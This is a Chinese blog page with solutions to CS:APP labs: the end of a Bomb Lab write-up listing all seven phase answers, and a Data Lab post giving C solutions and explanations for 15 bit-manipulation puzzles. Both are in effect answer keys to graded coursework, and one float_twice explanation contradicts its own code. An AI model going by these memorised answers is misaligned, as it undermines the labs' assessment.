其中,ptr所指向的struct tree是一棵二叉搜索树的根节点。对于二叉搜索树的任意一个节点,节点左边孩子的值全部小于该节点的值,节点右边孩子的值全部大于该节点的值。

这棵根节点位于0x6030f0的二叉搜索树的结构如下图所示:

要令fun7返回的结果为2,一种可行的递归返回情况是0->(20+1)=1->(12)=2。在该情况下,递归深度为2,节点的移动路线为左->右,并且在值为22的节点返回0。这表明,fun7的第二个参数,也就是secret_phase的正确答案,为”22”。

在GDB中运行bomb并验证结果,结果正确。

实验答案

注意,有部分答案不唯一,并且Bomb Lab每年都在更新,所以答案可能会有所变化。

1
2
3
4
5
6
7
Border relations with Canada have never been better.
1 2 4 8 16 32
1 311
0 0 DrEvil
yo~uvw
4 3 2 1 6 5
22

评论和共享

实验答案托管在我的GitHub

总共花了五天时间完成了《深入理解计算机系统》(Computer Science A Programmer’s Perspective)的第一个Lab - Data Lab,深感这次实验的效率低下。一方面是由于清明假期自己有所惰怠,另一方面也是由于在做题的时候采取了不正确的方法,在已经明知不会的情况下我还继续投入大量无意义的时间,没有取得很好的学习效果。

实验简介

Data Lab - Manipulating Bits主要是关于位操作的实验,对应于书本的第2章:信息的表示和处理。

在该实验中,学生主要需要在一个严格限制的C子集(使用优先的位运算符以及顺序结构的代码)中实现简单的逻辑,补码以及浮点数相关的函数。本实验的目的是为了让学生熟悉整数和浮点数的位级表示。

本实验的核心在于在各种受限制的条件下完成给出的15个谜题。其中包括5个位操作的谜题,7个补码运算的谜题,以及3个浮点数操作的谜题。其中每完成一个谜题都能得到一定的分数,如果使用的运算符数目小于给定的数目,还能获得加分。本实验的满分是71分。可以通过讲义中的driver.pl脚本直接计算出总分数。

关于本实验具体的介绍详见实验讲义

测试程序btest make失败及解决办法

在完成实验的功能中需要用到make && ./btest命令进行答案正确性的检查,结果系统返回了fetal error: gnu/stubs-32.h:No such file or directory

经过检查发现是系统是Archlinux 64位,而Makefile中包含了-m32的编译参数导致的。

通过启用multilib仓库使得可以在64位的ArchLinux系统上编译和运行32位的程序,问题得以解决。

编辑/etc/pacman.conf,取消下面内容的注释:

1
2
[multilib]
include = /etc/pacman.d/mirrorlist

更新软件包列表并升级系统pacman -Syu

然后安装gcc-multilib并重新执行make && ./btest,问题解决。

实验限制

整数代码规则

整数代码应遵循如下的基本结构:

1
2
3
4
5
6
7
8
9
10
int Funct(arg1, arg2, ...) {
/* brief description of how your implementation works */
int var1 = Expr1;
...
int varM = ExprM;
varJ = ExprJ;
...
varN = ExprN;
return ExprR;
}

每一个表达式只能使用:

  1. 0~255之间的常量(包括0和255)
  2. 函数的参数和局部变量
  3. 单目运算符 ! ~
  4. 双目运算符 & ^ | + << >>

注意,部分题目对于运算符有着更加严格的限制,但是你可以在一行代码中使用多个运算符。

你将会被禁止:

  1. 使用任何的分支或者循环结构
  2. 定义或者使用任何的宏
  3. 在文件中定义任何额外函数
  4. 调用任何函数
  5. 使用任何其他的运算符
  6. 使用任何形式的类型转换
  7. 使用除了int以外的其他数据类型,这意味着你不能使用数组,结构或联合

你可以假设你的机器:

  1. 使用32位补码表示整数
  2. 使用算术右移
  3. 对整数进行的位移运算的位数超越了字长是未定义的行为

浮点代码规则

浮点运算的规则相对较为宽松,你可以使用循环或者是分支结构,你被允许同时使用int和unsigned,此外,你还可以使用任意的常量。

你将会被禁止:

  1. 定义或者使用任何的宏
  2. 在文件中定义任何额外函数
  3. 调用任何函数
  4. 使用任何形式的类型转换
  5. 使用除了int和unsigned以外的任何数据类型,这意味着你不能使用数组,结构或者联合
  6. 使用任何浮点数的数据类型,操作或者是常量

实验答案及分析

第一部分 位操作

  • bitAnd
    问题:要求使用~和|以及不超过8个操作符实现x&y
    分析:使用De Morgan定律即可
    答案:

    1
    2
    3
    4
    int bitAnd(int x, int y) {
    /* x&y = ~(~(x&y)) = ~(~x|~y) */
    return ~(~x | ~y);
    }
  • getByte
    问题:要求使用! ~ & ^ | + << >>以及不超过6个操作符返回x中的第n个字节(0(LSB)<=n<=3(MSB))。
    分析:根据不同的n值将x右移不同的位数,然后使用掩码0xFF取得最低位数的字节即可。先左移再右移会导致算术右移,需要小心。
    答案:

    1
    2
    3
    4
    int getByte(int x, int n) {
    /* right shift in order to avoid boring arithmatic shift and try to get specific byte using bitAnd and mask. */
    return ((x >> (n << 3)) & 0xFF);
    }
  • logicalShift
    问题:要求使用! ~ & ^ | + << >>以及不超过20个操作符实现将int值x的逻辑右移n位。
    分析:通过将一个全1的数通过算术右移的方式构造掩码,然后与算术右移的掩码求按位与即可。
    注意,直接右移32位的结果是未定义的,需要额外处理这种情况。
    答案:

    1
    2
    3
    4
    5
    int logicalShift(int x, int n) {
    /* try to implement logical right shift by mask and logical right shift */
    int mask = ((~0) << (31 + (~n + 1))) << 1;
    return (x >> n) & (~mask);
    }
  • bitCount
    问题:要求使用! ~ & ^ | + << >>以及不超过40个操作符计算一个数字x中有多少为1的位。
    分析:
    本题参考stackoverflow上的回答,并结合题目要求做了一些改动。
    核心的思想是分治法,通过将原数字x中的位按每1,2,4…个位分组,按相邻组进行累加,最后求出结果。
    举例来说,假如现在有一个数395,它的二进制表示是0000000110001011(16位),首先我们将这个数按1位分组,得到:
    0 0 0 0 0 0 0 1 1 0 0 0 1 0 1 1
    然后我们将相邻的组累加,得到:
    0+0 0+0 0+0 0+1 1+0 0+0 1+0 1+1
    00 00 00 01 01 00 01 10
    然后我们继续将相邻的组累加,得到:
    00+00 00+01 01+00 01+10
    0000 0001 0001 0011
    然后我们继续将相邻的组累加,得到:
    0000+0001 0001+0011
    00000001 00000100
    最后,我们最后的两个组累加,得到:
    00000001+0000100=00000101
    结果是5,为正确答案。
    答案:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
     int bitCount(int x) {
    /* Divide and Conquer */
    int mask = 0x55 + (0x55 << 8) + (0x55 << 16) + (0x55 << 24);
    x = (x & mask) + ((x >> 1) & mask);
    mask = 0x33 + (0x33 << 8) + (0x33 << 16) + (0x33 << 24);
    x = (x & mask) + ((x >> 2) & mask);
    mask = 0xF + (0xF << 8) + (0xF << 16) + (0xF << 24);
    x = (x & mask) + ((x >> 4) & mask);
    return (x + (x >> 8) + (x >> 16) + (x >> 24)) & 0xFF;
    }
  • bang
    问题:要求使用~ & ^ | + << >>以及不超过12个操作数计算x的逻辑非。
    分析:
    逻辑非要求将0变成1,将非0的数变成0。生成0或1可以通过与掩码0x1求按位与实现,重点在于如何构造一个表达式使得0和非0的数产生不同的结果。
    可以考虑对于任意一个非0的数,它的负数都是从最高位到其最低位的1为止(不包括最低位的1)全部取反的结果。
    例如,14是00001110(8位),而-14是11110010(8位),为14从最高位到最低位的1(不包括这个1),也就是000011取反,而最低位的10不变的结果。
    而0的负数永远是0。
    从这里我们可以看出,对于一个非0的数,它与它的负数按位或的结果的最高位一定会是1,而0与非0的按位或的结果的最高位永远是0。我们可以以此实现逻辑非。
    答案:

    1
    2
    3
    4
    int bang(int x) {
    /* for x != 0, the highest bit of x | (-x) will always become 1 while when x == 0, the result is the opposite */
    return (~((x | (~x + 1)) >> 31) & 1);
    }

第二部分 补码运算

  • tmin
    问题:要求使用! ~ & ^ | + << >>以及不超过4个运算符返回以补码表示的最小的整数。
    分析:根据补码到整数的公式,最小的整数的补码表示为10000…
    答案:

    1
    2
    3
    4
    int tmin(void) {
    /* TMin = 10000.... */
    return (1 << 31);
    }
  • fitsBits
    问题:要求使用! ~ & ^ | + << >>以及不超过15个操作符判断x是否能表示成n位的补码,如果是,则返回1,反之则返回0。
    分析:
    这个问题需要分正数和负数两种情况讨论,对于正数来说,如果一个数x能表示成n位的补码,那么它从最高位直到第n位一定全部为0,它的第n位一定不能为1,否则它就会变成一个负数。对于一个负数来说,如果一个数x能表示成n位的补码,那么它只需从最高位到第n位全部为1即可。
    因此,我们可以先将x右移n-1位,对于满足条件的正数和负数,这将产生一个全0的数或是一个全1的数。然后我们可以根据x的符号构造一个全0或者是全1的掩码。通过将这两个数按位异或并且取逻辑非,就能得到正确的结果。
    答案:

    1
    2
    3
    4
    5
    6
    int fitsBits(int x, int n) {
    /* if fitsBits then from highest bit to n bit will all become 1 - negative number or 0 - positive number
    * then can construct a mask to implement fitsBits with the help of ^ and !
    */
    return !((x >> (n + (~1) + 1)) ^ (((1 << 31) & x) >> 31));
    }
  • divpwr2
    问题:要求使用! ~ & ^ | + << >>以及不超过15个操作符求出x/(2^n)的结果,其中0<=n<=30。
    分析:对于正数,直接使用算术右移即可;对于负数,需要加上适当的偏移量以实现向上舍入,这可以用根据符号位生成1个全0或者全1的掩码来控制。
    答案:

    1
    2
    3
    4
    5
    6
    int divpwr2(int x, int n) {
    /* add bias when x is negative, which is controlled by a sign-related mask */
    int mask = x >> 31;
    int add = ((1 << n) + (~1) + 1) & mask;
    return (x + add) >> n;
    }
  • negate
    问题:要求使用! ~ & ^ | + << >>以及不超过5个操作符求出x的负数。
    分析:-x = (~x + 1)
    答案:

    1
    2
    3
    4
    int negate(int x) {
    /* -x = (~x) + 1 */
    return ~x + 1;
    }
  • isPositive
    问题:要求使用! ~ & ^ | + << >>以及不超过8个操作符判断x是否为正数。
    分析:对于正数,它的最高位一定是0,同时还要排除0的影响。
    答案:

    1
    2
    3
    4
    int isPositive(int x) {
    /* ensure the highest bit is 0 and x != 0 */
    return (!(x >> 31)) ^ (!(x ^ 0));
    }
  • isLessOrEqual
    问题:要求使用! ~ & ^ | + << >>以及不超过24个操作符判断x是否小于或等于y。
    分析:
    对于这个问题,我们需要按照是否溢出,以及x与y的符号分别讨论。
    最基本的思路是,做y-x,若结果的符号位为1,则返回0,反之返回1。但这样就忽略了溢出可能导致的问题,现在我们做如下考虑。
    若x,y均为正数,或x,y均为负数,则y-x绝不可能溢出,因此可直接用差的符号位判断大小。
    若x为正数,y为负数,可以直接返回0。
    若x为负数,y为正数,可以直接返回1。
    我们可以生成两种条件变量,一种为x,y同号时返回正确结果的条件变量,另一种为x,y异号时返回正确结果的条件变量。
    对于x,y同号和异号这两种不同的情况,我们可以用!((x ^ y) >> 31)生成掩码使得在任意的情况下,只有正确的条件变量生效。
    答案:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    int isLessOrEqual(int x, int y) {
    /* different processing ways when x and y have the same signs or different signs */
    int diff = y + (~x) + 1;
    int not_diff_sign = !(diff >> 31);
    int mask = !((x ^ y) >> 31);
    int result_not_overflow = mask & not_diff_sign;
    int result_overflow = (!mask) & (x >> 31);
    return result_overflow | result_not_overflow;
    }
  • ilog2
    问题:要求使用! ~ & ^ | + << >>以及不超过90个操作数求出x以2为底的对数(向下舍入),保证x>0。
    分析:
    这道题参考了网上的答案。核心的思想是二分查找。
    首先将x右移16位,如果x>0,则表明结果的第5位为1,将该位置为1。
    然后根据结果将x右移8位(第5位为0)或者将x右移24位(第5位为1),如果x>0,则表明结果的第4位为1,将该位置为1。
    以此类推,直到得出结果。
    答案:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    int ilog2(int x) {
    /* Binary Search */
    int result = (!!(x >> 16) << 4);
    result = result + ((!!(x >> (result + 8))) << 3);
    result = result + ((!!(x >> (result + 4))) << 2);
    result = result + ((!!(x >> (result + 2))) << 1);
    result = result + (!!(x >> (result + 1)));
    return result;
    }

第三部分 浮点数操作

  • float_neg
    问题:返回对于浮点数参数f,-f的等价的位级表示。当参数位NAN时,返回NAN。函数的参数和返回值均为unsigned,但它们实际上都是浮点数的位表示。最多允许使用10个操作符。
    分析:首先要判断参数是否是NAN,如果是则直接返回,否的话直接将参数的最高位取反即可。
    NAN的阶码全为1,尾码不全为0。
    答案:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    unsigned float_neg(unsigned uf) {
    /* m_flag - if m != 0 e_flag - if e == 0xff */
    unsigned m_flag = 0x007fffff & uf;
    unsigned e_flag = !(0x7f800000 & (~uf));
    if (e_flag && m_flag) {
    return uf;
    } else {
    return 0x80000000 ^ uf;
    }
    }
  • float_i2f
    问题:返回(float)x的位级的等价表示。结果被作为unsigned int返回,但它实际上是单精度浮点数的位表示。最多允许使用30个操作符。
    分析:
    首先考虑到整数中只有0会被转换为非规格化浮点数,而其他整数会被转化为规格化浮点数。因此对于0需要做额外的处理。
    其次,对于负数,我们需要将其转化为正数再做处理,这就要求我们需要将x的符号保存下来,并且从补码转化为无符号表示。
    然后,我们需要根据转换成无符号数的x算出阶码e和尾码m。
    最后,我们将尾码舍入后再和阶码符号一起,生成最终的结果即可。
    这里我有一个比较大的误区,舍入的时候看的不仅仅是带舍入位的下一位,而是待舍入位之后的所有位。
    答案:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    unsigned float_i2f(int x) {
    /* 1.process 0 individually 2.process negative number and store the sign 3.get the e number 4.get the m number and round it 5.construct the result */
    unsigned count = 0;
    unsigned mask = 0x80000000;
    unsigned sign = x & mask;
    unsigned c = 0, absx = x;
    if (x == 0) {
    return 0;
    } else {
    if (x < 0) {
    absx = -x;
    }
    while (!(mask & absx)) {
    count = count + 1;
    mask = mask >> 1;
    }
    absx = absx << (count + 1);
    if (((absx & 0x1ff) > 0x100) || ((absx & 0x3ff) >= 0x300)) {
    c = 1;
    }
    return sign + ((158 - count) << 23) + (absx >> 9)+ c;
    }
    }
  • float_twice
    问题:返回对于浮点数参数f,2*f的等价的位级表示。参数和结果都为unsigned int,但它们实际上是浮点数的位表示。当参数是NAN时,返回NAN。最多允许使用30个操作符。
    分析:
    对于非规格化浮点数,只要在保留符号位的情况下将尾码m右移一位即可,这样同时解决了尾码乘以二和进位的情况。
    对于规格化浮点数,只要将其阶码e加1即可。
    答案:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    unsigned float_twice(unsigned uf) {
    /* denormailized number - m = m << 1 normalized number - e = e + 1 */
    unsigned result = uf;
    if ((uf & 0x7f800000) == 0) {
    result = ((uf & 0x007fffff) << 1) | (uf & 0x80000000);
    } else if ((uf & 0x7f800000) != 0x7f800000) {
    result = uf + 0x00800000;
    }
    return result;
    }

评论和共享

  • 第 1 页 共 1 页
作者的图片

码龙黑曜

iOS开发者/计算机科学/兽人控


华中科技大学 本科在读


Wuhan, China